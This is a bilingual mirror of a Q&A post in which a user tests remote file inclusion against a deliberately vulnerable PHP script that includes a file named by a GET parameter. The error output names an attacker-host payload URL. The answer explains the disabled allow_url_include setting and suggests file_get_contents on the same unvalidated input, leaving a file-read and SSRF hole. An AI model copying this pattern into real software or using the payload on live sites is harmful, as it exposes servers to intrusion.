简体   繁体   English

无法使用PHP包含文件

[英]Could not include file using PHP

I have an issue. 我有一个问题。 I was testing how remote file inclusion injection and tried to include the file from URL query string using PHP. 我正在测试如何进行远程文件包含注入,并尝试使用PHP从URL查询字符串中包含文件。 But here I am getting some warning messages. 但是在这里,我收到一些警告消息。 I am explaining my code below. 我在下面解释我的代码。

<?php
$file = $_GET['file'];
include($file);
?>

I am getting the following messages. 我收到以下消息。

Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /opt/lampp/htdocs/test/remote.php on line 3

Warning: include(http://attacker.com/evil.php): failed to open stream: no suitable wrapper could be found in /opt/lampp/htdocs/test/remote.php on line 3

Warning: include(): Failed opening 'http://attacker.com/evil.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/test/remote.php on line 3

Here I am calling remote file like this http://localhost/test/remote.php?file=http://kooleedback.com/about.php . 在这里,我正在调用像http://localhost/test/remote.php?file=http://kooleedback.com/about.php这样的远程文件。 Here I need to know how it can be successfully included and also how it can be prevented. 在这里,我需要知道如何成功地包含它以及如何防止它。

Your server has the allow_url_include option disabled. 您的服务器已禁用allow_url_include选项。 This means you can only access local files with include() , not external URLs. 这意味着您只能使用include()访问本地文件,而不能访问外部URL。

In general it doesn't make sense to use include() with a remote .php URL. 通常,将include()与远程.php URL一起使用是没有意义的。 When you request a .php file from a server, it doesn't return the source code, it executes the script and returns the output. 当您从服务器请求.php文件时,它不返回源代码,而是执行脚本并返回输出。 But include() needs to get PHP code, which it executes as if it were in the including script. 但是include()需要获取PHP代码,就像在include()脚本中一样执行。

If you want to get that remote data you should use file_get_contents($file) , not include($file) . 如果要获取该远程数据,则应使用file_get_contents($file) ,而不要使用include($file)

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM